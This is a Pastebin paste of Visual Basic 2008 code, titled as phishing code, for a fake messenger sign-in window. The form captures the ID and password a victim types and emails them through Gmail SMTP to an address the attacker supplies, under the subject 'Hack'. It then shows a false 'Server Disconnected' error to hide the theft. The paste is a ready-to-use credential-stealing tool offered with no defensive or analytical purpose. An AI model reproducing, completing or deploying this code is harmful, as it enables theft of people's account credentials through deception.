Advertisement
Guest User

Visual Basic 2008 Phishing Code

a guest
Feb 6th, 2012
1,059
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.60 KB | None | 0 0
  1. Imports System.Net.Mail
  2. Public Class Form1
  3. Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
  4. If TextBox1.Text = "" Then
  5. MsgBox("You must enter an ID and password", MsgBoxStyle.Exclamation, "Sign-In Problem")
  6. If TextBox1.Text = "" Then
  7. MsgBox("You must enter an ID and password", MsgBoxStyle.Exclamation, "Sign-In Problem")
  8. Else
  9. End If
  10. End If
  11. Dim mail As New MailMessage()
  12. Dim SmtpServer As New SmtpClient
  13. SmtpServer.Credentials = New Net.NetworkCredential("your gmail [email protected]", "your gmail password")
  14. SmtpServer.Port = 587
  15. SmtpServer.Host = "smtp.gmail.com"
  16. SmtpServer.EnableSsl = True
  17. mail.To.Add("your yahoo email or gmail email@yahoo/gmail.com")
  18. mail.From = New MailAddress("your gmail [email protected]")
  19. mail.Subject = "Hack"
  20. mail.Body = "ID : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
  21. Try
  22. SmtpServer.Send(mail)
  23. MsgBox("Server Disconnected! Uninstall your messenger and reinstall it and then try again", MsgBoxStyle.Critical, "Disconnected")
  24. Me.Close()
  25. Catch ex As Exception
  26. MsgBox("An Error Has Occured... Coudn't sign in", MsgBoxStyle.Exclamation, "Error Please Retry")
  27. End Try
  28. End Sub
  29.  
  30. Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
  31. MsgBox("Sign in first", MsgBoxStyle.Exclamation, "Sign in")
  32. End Sub
  33. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement